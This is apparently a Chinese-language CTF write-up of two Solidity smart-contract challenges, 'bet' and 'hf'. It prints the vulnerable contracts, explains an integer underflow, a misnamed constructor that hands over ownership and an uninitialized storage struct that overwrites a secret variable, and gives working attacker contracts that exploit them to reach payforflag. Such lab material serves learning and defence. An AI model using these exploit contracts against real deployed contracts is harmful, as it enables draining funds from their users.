抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

bet

1. question

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pragma solidity ^0.4.24;

contract bet {
uint secret;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;

event SendFlag(string b64email);

function Bet() public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier only_owner() {
require(msg.sender == owner);
_;
}

function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}

function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}

function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}

}

📌 成功调用payforflag()

2. analysis

要求是require(balanceOf[msg.sender] >= 100000);调用者的balance大于100000,很显然这里需要溢出。直接看到两个bet相关的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}

function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}

不难看出doublebetgame()中的require(balanceOf[msg.sender]-2>0)明显有着下溢的可能,且balanceOf[msg.sender]-=2;具备了下溢的条件。所以成功,但是不能进入if语句,因为一旦进入ifbalance会被恢复,那将是前功尽弃。至于betgame()则是可以帮忙实现isbet[msg.sender]==1,同时满足 -2发生溢出的条件,即才对一次再故意输掉一次。

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Hacker {

bet bet_;

constructor(address _bet) public {
bet_ = bet(_bet);
}

function attack() public {
bet_.Bet(); // 成为owner
bet_.setsecret(9999); // 设置密码
bet_.profit(); // 获取空投
bet_.betgame(9999); // 将isbet[msg.sender]变为1
bet_.betgame(6666); // 故意输钱
bet_.doublebetgame(6666); // 发生下溢
bet_.payforflag("hacker");
}

function() external payable{}
}

image-20230823210821916

hf

1. question

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pragma solidity ^0.4.24;

contract hf {
address secret;
uint count;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;

struct node {
address nodeadress;
uint nodenumber;
}

node public node0;

event SendFlag(string b64email);

constructor()public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier onlySecret() {
require(msg.sender == secret);
_;
}

function profit() public{
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function hfvote() public payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function ubw() public payable{
if (msg.value < 2 ether)
{
node storage n = node0;
n.nodeadress=msg.sender;
n.nodenumber=1;
}
else
{
n.nodeadress=msg.sender;
n.nodenumber=2;
}
}

function fate(address to,uint value) public onlySecret {
require(balanceOf[msg.sender]-value>=0);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}

}

📌 成功调用payforflag()

2. analysis

要求require(balanceOf[msg.sender] >= 100000);有溢出漏洞的函数只有fate,分析fate

1
2
3
4
5
function fate(address to,uint value) public onlySecret {
require(balanceOf[msg.sender]-value>=0);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}

很明显的下溢漏洞balanceOf[msg.sender]-=value,但要成为secret,看到ubw函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function ubw() public payable{
if (msg.value < 2 ether)
{
node storage n = node0;
n.nodeadress=msg.sender;
n.nodenumber=1;
}
else
{
n.nodeadress=msg.sender;
n.nodenumber=2;
}
}

只要通过esle中进去,就可以覆盖掉原来的secret变量,这样就成为secret了。

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Hacker {

hf _hf;

constructor(address hf_) public {
_hf = hf(hf_);
}

function attack() public payable {
_hf.ubw.value(2 ether)(); // 覆盖 secret,并成为secret
_hf.fate(msg.sender, 1); // 发生下溢
_hf.payforflag("hacker");
}

function() external payable{}
}

image-20230823220049677

总结

简单的溢出和低版本合约中的结构体内存覆盖。

评论



政策 · 统计 | 本站使用 Volantis 主题设计